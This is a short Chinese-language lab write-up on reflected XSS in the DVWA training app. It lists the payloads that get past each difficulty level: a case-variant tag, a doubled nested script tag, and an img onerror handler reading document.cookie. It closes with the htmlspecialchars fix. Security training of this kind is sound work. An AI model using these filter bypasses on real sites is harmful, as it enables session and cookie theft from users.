[dvwa] xss reflected

简介: [dvwa] xss reflected

xss reflected

0x01 low

我寻思也没有防护呀

<script>alert(document.cookie)</script>

0x02 medium

str_replace区分大小写,使用大小写可绕过

<Script>alert(document.cookie)</script>

str_replace只过滤出现的第一次,可用双写绕过

<scr<script>ipt>alert(document.cookie)</script>

0x03 high

正则过滤

换个标签绕过,比如img

<img src=1 onerror=alert(document.cookie)>

0x04 impossible

使用Php内置函数htmlspecialchars过滤输入内容

htmlspecialchars 函数会将 < 和 > 转换成 html 实体而不是当做标签,所以我们插入的语句并不会被执行

0x05 Repair 修复漏洞

$message = htmlspecialchars($message);
$name = htmlspecialchars($name);

htmlspecialchars非常好用,将尖括号转化为html实体,浏览器前端代码不执行

或者用正则把尖括号过滤也能成,尖括号在js或html中被广泛用到

相关文章
|
4天前
|
存储 前端开发 安全
|
12月前
|
SQL 存储 JavaScript
[网络安全]DVWA之XSS(Stored)攻击姿势及解题详析合集
trim() 函数移除字符串两侧的空格,以确保数据在插入到数据库时没有多余的空白字符
82 0
[网络安全]DVWA之XSS(Stored)攻击姿势及解题详析合集
|
12月前
|
机器学习/深度学习 存储 网络协议
[网络安全]DVWA之XSS(Reflected)攻击姿势及解题详析合集
先提交name1 浏览顶部URL栏发现为GET请求
88 0
|
12月前
|
JavaScript 前端开发 网络安全
[网络安全]DVWA之XSS(DOM)攻击姿势及解题详析合集
XSS(DOM)-low level 源代码未进行任何过滤 复选框中的内容为可变参数
119 0
|
JavaScript 安全 数据安全/隐私保护
dvwa下利用xss获取cookie并利用(绕过验证)
dvwa下利用xss获取cookie并利用(绕过验证)
560 0
|
JavaScript 安全 前端开发
|
存储 安全 数据安全/隐私保护
|
Web App开发 安全 测试技术
|
Web App开发 存储 测试技术